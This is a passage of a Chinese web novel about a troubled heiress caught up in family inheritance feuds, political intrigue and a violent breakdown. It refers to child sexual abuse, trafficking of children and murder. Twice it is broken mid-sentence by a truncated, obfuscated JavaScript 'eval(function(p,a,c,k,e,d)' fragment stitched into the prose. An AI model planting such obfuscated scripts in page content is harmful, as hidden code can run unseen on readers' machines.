“你不是不能喝酒吗?”言笑抱住她,不停打着酒嗝。 “是啊。” 拿起装嘎巴拉的盒子,她打电话给李惨绿: “我喝酒了,快接我去死。” * 风把云吹散了,风带走了夜的布|卡。 坐在小板凳上看天井里红调的山茶花摇曳,她听到李惨绿焦急的呼唤。 “Matcha、Matcha.”他像报春的布谷鸟一样喊。 哦我的Matcha鸟。 身后,敞开的雕花木门内,言笑抽抽答答地在收拾行李。 金银细软。 白影里暗出一个轮廓,她吸吸鼻子,很高兴,“是你呀。” “你来了。” 轮廓没出声,她的嘴被扳开,然后一颗药和一点凉水攻占了她。 就像扑向幻觉时才会发现那是海市蜃楼一样,她的眼睛在药效加持下变得清明。 血月妖冶,仰视着站在血红山茶前的男人,她笑了下。 “昨晚的衬衫很好看,我很喜欢。” “我没喝酒,应该是生鱼片的调味里放了酒,我很惜命的。” 嗯了声,李惨绿把她抱到手臂上,迈腿走进屋里。 行李袋变异了一样这边凸那边凸地满了,言笑抱着一个纯金炉子不肯撒手。 提起行李袋,李惨绿说:“你先走。” “你们真复合了?!”言笑呵呵傻笑着,“狗男女。” 被李惨绿静静地看了一会儿,言笑支愣起来,转身立正,踢着正步往外走,嘴里嚷嚷着:“太子爷牛逼……” 跟在她后面,月买茶快乐地唱起了歌: “つっても私模範人間 不过我可是人类模范 殴ったりするのはノーセンキュー 动手打人当然敬谢不敏 …… 絶対絶対現代の代弁者は私やろがい 现代人的榜样绝对就是我了吧。” “为什么她在后面?”被放在越野车的副驾驶上,月买茶不高兴了。 “大人睡大床。”言笑朝她扯鬼脸。 李惨绿给她扣上安全带,扣完放轻缓的歌,转头问言笑:“房子是跟江雨畅买的?” “你监视我。”言笑很激动,“这样是出轨哦。” “花了多少钱。”李惨绿掏了把枪出来,上膛的声音响亮。 “五千万。”言笑的语气无比正式,“跟江雨畅买的。” “为什么不是温锦衣卖?!”白影又在眼前聚起来,月买茶尖声问。 温锦衣那么厉害,怎么能让属于她们的遗产被表姐售卖? “我们先去体检。”李惨绿凑过来亲了亲她,哄道,“身体是本钱,乖。” 和缓歌声回荡在越野车里,朝李惨绿蹭去,她的脸被他抬手挡住。 “Mommy。”李惨绿用头和肩膀夹着手机,左手打着方向盘,右手抵着她的脸,问:“颂声阿姨在悲山的山茶园是分给了锦衣姐还是淑谖奶奶?我记得公证的时候您在。” “你跑去那做什么?”封轻问。 “我去接人。”李惨绿道:“路过的时候发现有人住,就想知道。” “这会儿谁家不用钱。”封轻默了默,“送完人立刻回来,我在你爷爷这边等你。” 月买茶大声说好。 嘟嘟声里,她乐不可支。 李惨绿吐了口气,“Matcha,那是我妈妈。” “我爸刚死,我妈的财产被人抢了,我还被吃绝户了,您行行好,原谅我,好不好。” 李惨绿又吐了口气。 到了谢家的实验室,言笑被人扶去休息,她则被抱进去,还是以坐在李惨绿手臂上的姿态。 “你先走吧,别等我了。这边要挺久的,可能会到明天早上。”躺在焚化炉一样大的仪器里,她拽住李惨绿,良心大发,“可怜可怜你爷爷和妈妈吧。” 李惨绿往下俯了俯,用脸碰碰她的唇,她则想起助理阿A说山鹰会有人狗急跳墙,逃来夏洲了。 防止人乱动的机械臂缓缓从身下扣上来,脚腕,膝盖,大腿,她抬起双臂,“再抱一下。” 李惨绿重重抱了下她微微抬起的上身。 “我进去了你再走好不好。” “好。”李惨绿亲亲她的眼睛,“我会在的。” 咔,机械臂扣住手臂扣住脖子,齿轮转动,她被送进黑暗里。 觉得自己像瓶可乐,脑子哔哔往外放气,她想起很多很多往事。 终于放完气,像骨灰那样被划拉出来,几个白大褂围着她,以捣碎大块骨殖的姿态往她身上粘传感器。 巨大单向玻璃内外两侧机器发出冷静的滴声,机械臂松开她,她维持着被禁锢的姿态,连眨眼的频率都乖巧。 为什么她没有大象一样的力量呢?她比大象还柔顺啊。 “不能再乱吃药了。”旧的白大褂们离去,新来的白大褂说。 口腔被烧糊了一样黏连,让她说话说得好痛苦,“就想试试看能不能控制一下药量,万一有些药不是必需的呢,那我就可以少吃了。” “要你自己试药的话至于费那么大精力研发?”谢庭玉冷淡的声音从白大褂身后传来。 戴一片式眼镜的白大褂不赞许地皱眉,温温柔柔地呵斥道:“庭玉。” “知道了。”谢庭玉不耐烦地哼道。 机械臂推着她坐起来,她难受地开口,“他就那个性子,双哥你别跟他计较。” “他昨晚还冲我甩脸呢。” “等会儿双哥替你教训他。”扶她下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她的眼窝并不深邃,但鼻梁边有两道痕,天然的修容一样,给她免了不少烦恼。据说那是当年发现她眼睛有合并趋势时手术刀的救赎。 夜宵全是兼职做露半脸美食博主的谢庭双做的,所以每样餐具都好看。 绘着白云的浅蓝盘子上刚出现块剥了壳的龙虾,连体叔公中上半身没在正位的小叔公就递过来一片烤羊颈肉。 家族聚会会烤大肉,叔公兄弟俩一个切割一个分配,配合得很是默契。 还有铜锅在咕嘟着,吃着裹了麻酱的肉,月买茶疑惑起谢济为什么不像其他亲属一样爱她? 没有腿没有手臂的堂叔坐在为他搭的海浪台子上唱着歌。 而她想起第一次跟那些人见面的场景。 那时家里长得正常但脑子不好的人都在,跟着堂叔一起唱歌,其乐融融的让她动了一瞬间的心。 吃下许多肉类,月买茶高高举起盘子,“我饱了。” 然后就被淹没了,他们都上来抱她。 为何我沦落至此? 我不该是这样的。 将她从残疾人的怜爱中拯救出来的是林嘉措。 那时天微微地在亮着,是一种并不叫人觉得暖和的亮。 “我送她出去。”戴上卫衣的帽子,谢庭玉站起来,他身上的气息很干净,他没吃一口夜宵。 林嘉措也开越野,戴着墨镜,裹长款貂皮,明明是黑老大的打扮,却有股怎么都抹不去的凛然气息。 “林少。”谢庭玉开口与他打招呼。 “谢少。”林嘉措淡淡回应,看住她,“你不冷吗?” 雪零零碎碎地飘着,她用力拽住谢庭玉卫衣兜帽的绳子,垫脚说:“过几天跟你商量遗产的事,到时候联系你。”说罢她松开绳子,向越野车的副驾驶去。 十分自觉地扣上安全带,她与拉开车门的林嘉措问好,“早上好,嘉措哥。” “早上好。”车门合上,寒意被隔绝在外,林嘉措发动越野,问,“体检怎么样。” “很健康。” 点点头,林嘉措沉默地开着车把她送到慈山。 天愈来愈亮,路灯却一盏未灭,又一座寂静山林。 确定林高义吃好了早饭,她到客厅里把装着嘎巴拉碗的盒子打开。 林高义还叫若昂旺隆时有个胞姐叫南木赛,南木赛寓意为天赐的礼物。 传说南木赛是那时高原最美的女生。 而配不上容貌的农奴身份让南木赛被土司的女儿达瓦梅朵抓去做了法器。 少女精巧的头骨,镶以最闪耀的珠宝,供在昭|寺,只有活佛才能接触。 战争时代末期,林高义带兵回高原时,最强盛土司之女达瓦梅朵携南木赛遗骨出逃,那以后,未能夺回南木赛的遗骨就成了林高义心中的一根刺。 “是南木赛呀。” 站在门拱下,老人的语气平淡,不像是回忆起一桩切身体会过的血泪事,而是像一个路过的人,与以前认识的人打招呼。 “废了不少功夫吧。”示意月买茶坐下,林高义坐到她身边。 “还好。”看着膝盖,月买茶说。 “你想要什么?”林高义缓缓道。 “尽孝而已,说什么要不要的。”抬起头,月买茶笑。 “吃早饭了吗?”林高义问。 月买茶摇了摇头。 “卓玛用米粉烤了蛋糕,去吃吧。” “我不吃蛋糕。”月买茶脱口而出。 见林高义沟壑一般的脸上露出痛苦神情,她忙解释:“是因为用掺了砒霜的蛋糕毒死达瓦梅朵的才不想吃。” “砒霜是甜的,您现在让我吃甜食我心里发毛。” “检查结果出来了没?” “出来了,很健康。” “陪我散步吧。” 在小楼们的注视下行走着,路上他们遇到了陪父亲散步的齐燕华,陪祖父散步的李惨绿。 林高义朝同事颔首,月买茶乖巧地喊爷爷好,都没有寒暄的想法,大家默契地改道,回宅邸的路上,林高义冷不丁问起谢家的事。 谢济在明面上的身份是商人,商人的后事必然涉及资产分配,“跟你大伯打电话了吗?” 兄长不是直系亲属不能继承遗产,可是母亲可以。 就像她生母的遗产是她外祖母和养姐继承的。 “这些年中济都是谢庭玉在管,贸然拿走管理权会弄出不少麻烦,他没亏待过我,我分点现金就够了。” 临近宅邸时有吊儿郎当的声音传来,“林上校,我们也是按规矩办事。” “她还没吃早饭,等她吃完我会送她过去。” “她吃完睡睡完吃,照您这样,我们哪找得着时间问话?” “嘉措。”绕过灌木,林高义喊了声。 嬉皮笑脸的来源立刻收起吊儿郎当,目光炯炯地立正问好,“将军。” “早啊戴组长。”扶着林高义的手臂,月买茶也吊儿郎当道,“又找我充KPI啊。” 她身份特殊,安全局常找她问话。 “我跟他去一趟,晚上回来陪您吃饭。”把手从老人的臂弯中抽出来,月买茶低声道。 很快到了地方,未坐下月买茶就问:“托你找的人有消息了吗?” “五毒头头都能弄死,找不到一个人?”端了杯热牛奶给她,戴天做了个请坐的手势。 接过牛奶,月买茶笑道:“那不是麻烦么。” “所以……” “才羡焰,4002年出生在申城,生母离世后被姑父母带到洛杉矶,现下落不明。” “你不找着她生父了么?” “听权威人士宣判才愿意接受事实而已。“放下牛奶,抬起头,月买茶笑着说:“才羡焰,为夏裔慈善家从落后地区收养的女儿,4010年因疟疾离世。” “实则被送往维京群岛遭受虐待,业已离世,享年十一。” “你找我是为了他们接下来的安排吧。” “才羡焰的脸和情商本来能支持她活到我去救她的。但是她被处以绞刑,因为她安慰了个男童,那个男童也死了,他的睾|丸被剥出来供贪恋青春的人食用。” “达瓦梅朵也吃了。” “通读历史的他们十分怕奴隶们之间的情感往来,他们要求自己坏而不蠢,他们相信每个人都拥有无限的潜力。” 沉浮在回忆里,月买茶眯起眼睛:“目前能给出来的受害者的信息我会给你们和陈院。” “山鹰会内部出了点矛盾,窗口期短暂,把握好时机啊戴组长。”她站起来,喝干牛奶。 “发新闻稿的钱我给你们打折。” “晚上好,papa。” 电台播放起几十名亚裔女性被拘禁为性|受害者的新闻,她发动车,接起父亲的电话。 “你太任性了。” 青琐的七点,堵在Para-Skyline下的柯尼塞格,大屏上播放着首富之子阿什利.哈维的访谈,拆下一板伟哥掂在手上,她缓缓地笑道: “好用的工具才能称得上是工具啊。” “没用的垃圾,不扔进垃圾桶里,要留着恶心自己吗?” 15.爱恨买卖 蓝天澄静,空气冰凉,雪山连绵起伏。山腰处,喇嘛穿着红衫围在一起作法,兀鹫漫天飞,掺在甜腻花香里的尸臭一波一波,潮水一样向四周扩散。 艳红罂粟随风舞动,她腾空,发出幼童的笑声。 “生日快乐我的小公主。” “我的小老虎。” 罂粟抽条着,她听见爸爸皱眉时肌肉运动的声音。 于是我紧紧抱住叔叔你壮实的脖颈,在动脉的安抚下说爸爸来了。 叔叔叹了口气,他的叹息里有怜悯。 为什么要送我走呢?有人在摸我的腿,爸爸爸爸,我没有阴|道的妈妈。 你的同龄人进入你幼儿园才毕业的孩子时,你会有感觉吗? “林霏开?”声音里带着被吵醒的沙哑,她皱眉踢开腿间的女人,“这样很恐怖。”她很认真地对言笑说。 “哦。可能吧。”言笑站在窗边,低着头看手机,手上夹着支未燃的烟。 “你?”坐起来,她靠在床头板上,扬起眉毛,看着林霏开。 五官靡丽到有些情色的女人,穿bordelle的绑带内衣,白皙到反光的躯体柔弱跌在巨大床上的一小角,让她想起很久之前在宣正仪那边看过的照片,一具裹着小吊带和热裤的曝光大白人。 活泼,纯真。 实在是个土到爆的故事。 同班男同学救下的柔弱女生,爸爸送给叔叔的糖糕,被爱河水溅到就甘愿不见光的金丝雀。 那样的故事里,怎么会缺一个青梅竹马的,品学兼优的,在外留学的门当户对的要做男同学未婚妻的千金呢? “OK,停。” “言笑你知道视网膜效应*1吗?”月买茶翘起二郎腿。 “眼界放宽点,别整天盯着这种人。” “你照镜子照怕了?”低头打着字,言笑笑道。 “你在恨什么呀?”月买茶揉了揉太阳穴,“我对你很好了。” 抬头看她一眼,言笑又低下头,“临走前做个好事而已,哪有什么视网膜效应,是你太敏感了。” “快点,我要误机了。” 翻了个白眼,月买茶把头摆向林霏开:“谁让你来的。” 林霏开摆出供君采撷的动作,楚楚可怜道:“是谢大小姐让我来的。” “她说您说什么大少都听。” 谢大小姐谢庭兰,宣正礼的未婚妻。 她父系亲族里少有的健康的人。 眯了眯眼,笑眯眯地让林霏开坐好,她坐到她身边,自言自语一样,“看来有人惹着她了。” 谢庭兰看一个人很不爽的时候会想方设法让她出手。 “别用您,整的我跟老头一样。”撩开林霏开的头发,她亲切地问,“谢庭兰还跟你说什么了?” 林霏开怯怯地抬眼,讨好地把手盖在她手背上,牵过她的手放在大腿上。 月买茶动了动手指,细腻绵滑,凝脂一样,当真是块好肉。 “有后果就有前因,说吧,是怎么落到这个地步的?” “我还没见过混得像你这么惨的。” 她见过的金丝雀数不胜数,聪明有能耐的靠着金主做大做强,创业投资走上人生巅峰,床上关系断了床下还有合作。空有脸的,到了年龄就拿着分手费离开,揣着千万百万安安稳稳地过下半生。 林霏开那样的,不开玩笑,她真是头一次见。 豆大的泪霎时就从林霏开眼里滚了出来。 要不怎么说喜剧喜得千篇一律,悲剧悲得各有闪光点,林霏开的倒霉直接把她整笑了。 为了不让林霏开的存在落未来儿媳的面子,宣夫人给了林霏开一千万,打发她离开。 林霏开将此事上报宣正仪,宣正仪多给了她一千万,让她出国。 “我跟他,又不只是为了钱。”林霏开说。 “我们的合约还没到期,我就想等合约到期了再跟他分开。”她啜泣道。 为了跟宣正仪多待会儿,林霏开私底下约未婚妻见面,把两千万都给未婚妻请她出国玩两个月,等合约到期了再回来。 未婚妻收了钱,也确实去旅游了。只不过人挑了中美洲,上飞机前还跟家里人哭诉了一番。 中美洲那地不安生到天星出名,未婚妻下飞机后就失联了。不过人很快就被找到了,只是想一个人在海外散心,预计年后回来。 所以林霏开倒霉了。 未婚妻家里找上门算账的时候林霏开被未婚妻的舅舅看上,宣夫人就做主把林霏开送给未婚妻的舅舅。 “我又不是签了卖身契,而且不管怎么样,这个行为都是违法的。”林霏开眼泪的流速越来越大,她吸着鼻子,一副不哭到山崩地裂不停的样子,“我去找大少,求他帮我。” “大少看了我两眼,就把我送到谢大少那里了。” “谢大少又把我送给梨小姐玩。” “那天您,你走以后,谢大小姐就让我来找你,说你能救我。我真的不想再跟那家人有瓜葛了。” 月买茶:“……” 宣正礼无利不起早,不帮一个没有利用价值的人,她理解,但宣夫人会把儿子的情人送给儿媳舅舅? 有假话。 或许没有,但错只能是林霏开的。 不过只有放错地方的宝物嘛。 “未婚妻叫什么呀。” “廖立荷。” “她爷爷是廉良委的。” “廖豫吗?” 林霏开点了点头。 廖老爷子她认识,看不起解琟,跟齐燕华外公关系很好,案子就是他督办的,老头人怎么样不好说,毕竟他们不熟,不过……坐在那位置上的老东西会让孙女嫁二世祖? 让二世祖不再是二世祖的有效办法是弄掉他有为的兄长。 只要不是太垃圾,会有人让宣正仪自动成才。 老东西跟梁家不大对付呢。 让言笑教林霏开把银行流水打出来,又让助理阿A弄个按月领资助的名额给林霏开,她打电话给宣正仪。 那边立刻就接通了,没理会那头的吵吵嚷嚷,月买茶直接开麦骂道:“宣正仪,你脑壳里发洪水了是不是。” “大禹三过家门不入是为了治水,你干嘛?治脑子?” 宣正仪:“……” “什么玩意?”宣正仪嗤道:“我刚下飞机,晚上找你。” 摘出宣妈妈,语速飞快地,她添油加醋道出林霏开的处境。 宣正仪沉默了会儿,解释说未婚妻是廉良委二把手的孙女,“家里想跟楚清秋切割。” 生母的好友楚清秋是廉良委的一把手,背后关系有些混乱。因为那代人莫名坚定的友谊,宣家被梁家带着跟楚清秋关系还不错。 宣廖联姻,先夫人的母家就尴尬了。 我在意的是那个吗? 我在在意谁? “了了。”宣正仪的声音一改被骂时的好笑,软和的像他们儿时一起喂过的小羊羔,“帮我把林霏开送出国,送你势力范围去,省得我爸找她麻烦。” 月买茶哦了声,“你家的事我不想插手,但是婚姻大事你最好慎重点。” 枕边人呢,到时候摸刀反抗都来不及。 宣正仪说了好几句他清楚,就挂了电话。 “我送你出国。”抱臂俯视林霏开,她说,“我保你一生安稳,你呢,把这些事烂到肚子里。” 弯起眼,她抬手在自己颈上比了下:“我要是听到一点风声——” “我知道了。”带着满脸落寞,林霏开说。 * 从买票到送两人值机也就花了两个半小时,可出机场时,天已经完全黑了。 那是她在青琐的第三个星期二。 星期二,Tuesday,Tiw’s day,战神日,用来纪念盎格鲁—撒克逊人的神Tyr的勇敢。 长夜漫漫,都城繁华夜景愈近便显得愈远,想起儿时,想起很多很多事,她忽地就很想一直留在那个风冷但柔和的夜里。 绕道到网红扎堆的商业区,她挑了一家门口有很长队伍的店去排。 排了快一小时,她抱了个绿袋子出来,袋子里头是蝴蝶酥,很香,可惜她不能吃外头的甜品。 随便逛了逛,她把绿袋子给了环卫工人。 然后去买了杯鲜奶茶捧着。 正巧赶上春分,她领到了不少周边,周边里头有套发饰,绿绿的,挺好看,她想有空可以复刻一下。 插入吸管想嗅嗅传说中的冰勃朗的味道时,一只手从左手边伸来,拿走了她的奶茶。 “哥——”看到来人手上的海蓝宝戒指,她无奈唤道。 “怎么一个人跑出来玩?”揽过她的肩,秋月白带她往室内走。 “觉得无聊,就出来走走喽。” “跟林霏开走啊。”秋月白笑眯眯的,锐利眼眸弯成温柔的月牙。 “啊?”月买茶停住脚步,不知道要做什么表情,她低下头。 虽然开的是秋月白的车,但她装了屏蔽器来着。 秋月白笑眯眯的没回答,带她进了一家人很少且有包厢的店。 “一杯牛奶。”秋月白对侍者说。 很快,一杯温度正好的牛奶被送上了桌。往她跟前推了推牛奶,秋月白温柔注视起她。 “喝了垫垫肚子,晚饭回去吃。” 喝了半口牛奶后月买茶就没再喝了。 爸爸不让她喝外边的牛奶。 牛都因为她失去自由。 维持着喝牛奶的姿势,眼皮低垂,目光紧盯白色的液体,她说:“哥,我想喘口气。” “想什么呢?”秋月白把手机推到她眼下,“自己看聊天记录。” 没抬头,月买茶伸指用自己的指纹给黑屏的手机解了锁。 目之所及是一堆的哈哈哈,看了眼最顶上的名称,发现是一个群聊,她往上划了划,很快几张照片入了眼。 看着那些照片,月买茶立刻反应过来自己为何暴露。 那几张照片是言笑和林霏开跟一辆柯尼塞格Gemera的合照。 那种改装过的柯尼塞格圈里人一看就知道是谁的。 她就说她们俩怎么一直在拍照。 “茶茶。”秋月白移开玻璃杯,温柔地劝诱:“要不是他们给我发照片,我都不知道你自己一个人跑去机场了。” “哥哥也想让你自由自在,可要是你被欺负了怎么办。” “哥哥知道茶茶很厉害,但哥哥怕啊。” 继续温柔着,秋月白开始讲理,“知道林霏开干了什么吗?骗人去洪都拉斯,咱们夏洲姑娘孤身去那地方会有什么待遇小宝在美国没听说过吗?” 什么待遇? “我不知道。”抬起脸,月买茶摆出被保护得很好的嘴脸。 秋月白侧了下头,或许是在思考该博览群书的人类学学士怎么会不知道洪都拉斯的情况。 “洪都拉斯在中美洲,离墨西哥很近。” “跑题了,我是想说只要你的身份信息进入购票系统,机场就会戒严。” 权责统一,机场戒严的后果要有人承担,有些时候影响是向上波及的。 眨眨眼,想解释今天的事,她的手机就震了起来。 “先接电话吧。”秋月白还是笑眯眯的。 抿抿唇,接起电话,看了下秋月白眼里淬着的寒意,她摁下免提键。 “白天的事多谢了。” “财产的事你放宽心,该是你的家里不会多动一分。”顿了顿,谢庭兰放柔语气,“爸爸想见你。” 见她没吭声,谢庭兰笑吟吟地唤了声:“了了?” 脸上表情被暴雨冲刷掉了一样,秋月白语气的温度骤降:“谢小姐,家妹好用吗?” 嘟—嘟—嘟— 压抑的呼吸声里,手机渐渐熄了屏,咬着唇肉,月买茶委屈道:“谢庭兰一个高材生,我哪玩得过她,脑子不好又不是我的……” 说着她小心翼翼与秋月白对视。见秋月白一副似笑非笑的样子,她立刻止住话头。 “别妄自菲薄。” “回家吧。”秋月白站起来,拉开门,“下次不要这样了。” “哥哥真的很害怕你受伤害。” 近似于无的愧疚扩散在感官里,享受着污染源的入侵,她感动地揽住秋月白的胳膊,郑重发誓道:“哥,我再也不会让你担心了。” “我会好好的。” 欣慰一笑,秋月白摸了摸她的脑袋,“好。” 到了人来人往的广场上,她听到一阵欢呼声,循声望去,临近的楼栋的露台上闪光灯咔擦不停。 “是颜臻诶,我们去找她签名吧。”路过的人说。 “颜臻?”她念出心中所想。颜臻是那些年最火的超模,腿又长又直,颜色还是阳光野性的麦色,她一直想摸摸,但苦于没门路,就退而求其次摸别人去了。 有了齐燕华女儿的身份,她说不定还真能摸到颜臻的腿。 反正都让人不高兴了,干脆就放纵到底,明天再做乖乖女。 舔了舔唇,她问秋月白:“哥你认识颜臻吗?” “不认识,是小宝的朋友吗?”秋月白做出认真思考的样子。 “一个很好看的模特啦,我想认识一下她。”她四处张望,“是不是有人在看我们?” 看了一大圈后她回过头,指了下靠在玻璃护栏上吹风的性感女人,“哥,那个就是颜臻,好看吧。” 秋月白点着头,看都没看她指的方向就说:“你的眼光差不了。” “我想跟她合照。”说着她改变了脚尖的朝向,“你打个电话,让那家店清场呗。” “好啊。”秋月白掏出手机,跟着她往回走。 走到玻璃护栏下的花坛旁,秋月白忽地停住脚步,仰起头,他苦恼笑道:“我想起她是谁了,竞争对手的人。” “不然我帮你问问?让点东西的事。” 月买茶顿时就对颜臻的腿丧失了兴趣。 “算了,一个模特而已,不值得。” * 灯火滃然,繁华涨到高|潮。保养得锃亮的黑色豪车汇入不眠都城的车流,融入芸芸众生。 “哥哥知道视网膜效应吗?”坐在秋月白对面,月买茶想起言笑,想到值机前她抱住她,祝她千万不要良心发现,祝她一条道走到黑,“或者孕妇效应。” “不知道。”前倾着身子看她,秋月白柔和地做出倾听的样子。 “就是关注到偶然因素后会觉得那个因素很普遍,例子就是当人怀孕后会更容易注意到人群中的孕妇。” “感觉一直在遇到跟自己很像的人,像鬼打墙一样一直在一个圈里,做什么都不能改变。” “那些人跟小宝一样发论文批评科学院院长吗?”更加往前倾,秋月白眼含鼓励道,“那些人像小宝一样就要出版自己的书了吗?” “哥——”月买茶往后一仰,倚在靠背上,把手臂横在眼上,蹬了蹬腿,“你能不能别这样溺爱我。” “我在难过诶。” “反正我是不敢批评科学院院长的,也发表不了引起轰动的报告。”秋月白笑道,“遇到不好的事难过很正常,哥也会难过。” “不然学人类学干嘛。” “你还是法学生诶。”猛坐起来,捧着脸,她苦恼地说,“中济那边你觉得我要拿多少钱走?” “法理上我不占理,道德上我也不占理。” “干嘛把自己说得跟陌生人一样。” “你弄不来,就让舅舅去忙好了,不然拜托苏爷爷。” “或者不分,你不是有股权吗?拿分红也不错。” “瞎操心的小傻瓜。” 感叹着,秋月白抬手揉了揉她的头。戒指坚硬的环在头上摩挲了两下,有种伤心之意,掀起躲避的眼皮,她注意到秋月白今夜穿得很经心。 高领毛衣配阔腿裤,搭着不少很有设计感的小众首饰,不是秋月白的穿衣风格。 似是感受到她探究的眼神,秋月白笑道:“去朋友开的店捧场,这样穿很奇怪吗?” 那笑很真心,看起来是很好的朋友,摇摇头,她也笑,“很帅啊,回去我就把你那些土衣服扔了。” 抬手刮了下她的鼻子,秋月白说:“在家待着无聊的话,周末可以去我那,正好这周末我们有聚会。” 秋月白在外面有自己的住处,他周末一般在那。 “哥哥下厨,你和你顾乔哥哥他们玩。” 从宣正仪脑里退出的洪水在那刻改道进了她脑里,欢呼雀跃地,她说好诶,可以去参观哥哥的秘密基地了。 “对了,我舍友明天复试。” “早就安排好了。”秋月白敲了下她脑袋瓜,“不想去也可以,一码事归一码事,哥哥不是外人。” “刚好想起来了问一下嘛。” 回到竹园,车门才打开退役缉毒犬Lucky和它在北城捡的乌云踏雪猫Smile就叫嚷着跑上前来迎接,急着与宣正礼联系,她扯了有要事要跟编辑商讨的借口,让秋月白孤身溜猫狗去了。 注定不得安宁的夜里风似乎都大。 跟在身边的用人说做了金雀花厚蛋烧和蚕豆糯米糕给她当夜宵,“当地人管那个蚕豆糯米糕叫青蛙趴石板,想着你不能吃甜的,芽姐就往里加了火腿,做成咸口的。” 开春以后,各地的春菜都被运到了竹园的餐桌上,来自春城的最多,大抵是因为她在春城待过。 连她在当地当时不曾吃过的都被弄来做了零食。 权力真美好,是吧。 落地窗下的猩红沙发上,温锦衣端庄坐在那,端庄地与竹园的管家修奶奶谈论竹园的家务事宜。 仆从们来来回回,以一种她从未享受过的殷勤伺候温锦衣。 “妈妈的房间照顾得怎么样?舅舅不常回来,可别懈怠了。” 修奶奶含着笑,说怠慢了他都不会怠慢江丫头,“她住进来以后,那几个小子都被比成别人生的啦。” “茶茶回来啦。”修奶奶朝她看来,慈祥地笑道,“悠芽给你做了夜宵,快去吃吧。” “哪有一个人吃独食的道理,温小姐一起吧。” “不了,谢谢。” 看温锦衣一副掌家大小姐样,再看看自己一身奔波样,她没再吭声直往厨房走。 厨房里也有部电梯。 身后,温锦衣跟修奶奶说要去看江颂声生前住的房间。 修奶奶拦了起来。 “你妈妈的房间这几天在整修,过几天修好了我叫你来看好不好。” “里面都是灰尘,你进去要呛到的。” “要是过敏了怎么办,到时候你爸爸要心疼的。” “可是我好想妈妈,就上去看看,好不好。” 几声急促 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姐姐,你知道梦想一个一个从手里流走的感觉吗? 你肯定没有磕头磕到把地板磕破的时候吧。一定不会有,不然我们妈妈的伟大就是笑话了。 裙子盖住一边眼珠,她的另一只眼珠瞧见温锦衣拿起件未收尾的钩针抹胸。 那是要给易慧的。 “你把那个放下,我随你骂。”她听见自己的卑微。 温锦衣呵了声,往两边扯开那件未完工的钩针抹胸。 你真是很会让人难过呢,言语和行动。 仿佛回归了一直在做的一个噩梦——变成条肉虫在红色的甬道里蠕动。 窒息感袭来,她摘下破布,看着温锦衣。 温锦衣拿着把剪刀,要剪木篮里最后一件有纪念意义的衣物。那是件男式羊绒大衣,归属于她的监护人。 她监护人被性|侵那天穿的就是那件大衣。 中央公园的路灯在眼里亮着,她回忆起把钩针扎进华尔街精英脖颈里的感觉。 难过。 真的真的真的很难过。 我们就要爱你了。 “你要干嘛?!”温锦衣狠狠甩开她。 “那样做是错的,爱德华叔叔。”她用稚嫩的声音回答。 “脏死了。”温锦衣拍着袖子往外走。 而我最难过的是你竟敢把背影留给我。 那应当是竹园建成以来最热闹的一夜。 在京里以优雅著称的太子保姆修老太太一边看着家里的大小姐绞着邻居家大小姐的脖颈,一边发出惊恐的声音:“快打电话给阿璆!” “把门关上!”“把他们拉开!”老人家的皱纹扭曲着,几乎要勒晕她自己。 “茶茶,松手啊。”她被制着远远地朝月买茶哀求。 月买茶什么都没听见,她的世界已洪水滔天,连诺亚方舟都难逃劫难。 拖着哀嚎的温锦衣向后院去,她呼哧喘着粗气,谋划着把她扔下悬崖后要怎么洗清嫌疑。 大不了就去给安德鲁.蒙巴顿生孩子。 还能混个维多利亚女王当当。 她完全看不到恐慌的仆从们。 悯山上四座庄园灯火通明,漆黑公务车以议院守则不允许的高速飙上能走坦克的马路,不远处,议院大楼上架起麻醉枪。 皮肉被正在抽条的玫瑰花刺剌开,刺痛里,她听见有男人喊:“月买茶。” 那暴怒的声音低沉华丽似竖琴,嗡嗡鸣鸣奏出一段糜烂艳曲,回头望男人俊美的面庞,她委屈起来。 你怎么才来,她松开温锦衣的脖子,眼前模糊起来。 我好想你。 “等等我……”她翕动着嘴唇,等等我,等我处理掉这个冒犯我们的人,我就去拥抱你。 我那样爱你,解琟。 温锦衣又被拎起来了。 玫瑰花田被压被踩出一条血淋淋的路,始作俑者们到达了山的尽头。 “你在凝视我吗?深渊?”看着黑如墨池的崖底,她冷笑,“我才不会变成你。” 我才不会变成你——可我还是变成了你。 好恨啊。 恨生而不育的父亲,恨利欲熏心的养父。 恨作奸犯科的叔叔,恨用谣言捍卫冷漠的大人。 恨盲目的追随,恨只敢向最弱者伸手的自己。 可我才六岁啊——可是我的座右铭是抽刀向最强者啊。 大哭着松开温锦衣的脖颈,她朝瞄准她的红外线竖中指。 “都是伪君子。” “都说爱我。” “都在害我。” “Go fuck yourself!” 她醉汉一样踉跄几步,又绞住温锦衣的脖颈。 “啊———” 不知谁的尖叫结束了荒诞的黑夜。 刹那间,静谧的夜重重从天上砸下来,溅起满天被殴打死的,无人收尸的,骨殖发霉的丑女人。 “爸爸。”幼童小心翼翼踩过长满青苔的泥路。 “爸爸,你要杀了她吗?”幼童大睁着棕色的眼睛问。 泥泞道路前方,穿黑色冲锋衣的男人敷衍地嗯了声,他手里拖着个不停打哆嗦的女人。 女人不停抽搐着,是个标准的发病了的瘾君子。 “她是受害者。”穿黑衣黑裤的幼童劝说,“爸爸,你是英雄,英雄不能欺负弱小。” “小老虎,爸爸讲过很多次。”男人拿起小刀,割破女人的动脉。 “吸毒的人,死了都会害人。” “这种毒物,怎么会弱小。” “呼呼,去拿卷纱布来。” “拿卷纱布来。”天上的毒虫们爆发出尖叫。 好吵。 血一滴一滴流下来,月买茶站起来。 愠怒眼光看过来,她哭走血色。 “爸爸。”她朝一滴一滴流着血的被簇拥的男人喊。 男人冷漠地看着她,像在看怪物。 “爸爸。” 脚上似挂了从古至今所有毒虫的遗骸,好怕弄脏爸爸,她只好站在原地,哀哀地求,“爸爸,别不要我。” 男人窃窃私语起来。 “别打断她”“叫芒种来”“让医疗队准备氧气” “我没有病!”她发出尖叫。 她殷切地看着男人,泪流满面:“爸爸,我不要药了,我不要治病了,你别不要我。” “别把我送给他。” “我不要跟间谍——” ——噗呲。 金属陷入了肉里。 咔擦咔擦,机枪上膛,火光迸溅满天,赠了一个绝望的秋天一个太阳。 只一瞬间,男人就被熊熊烈阳融化扭曲的变了形。 一直融化,一直扭曲。 一直变作一个无头佛。 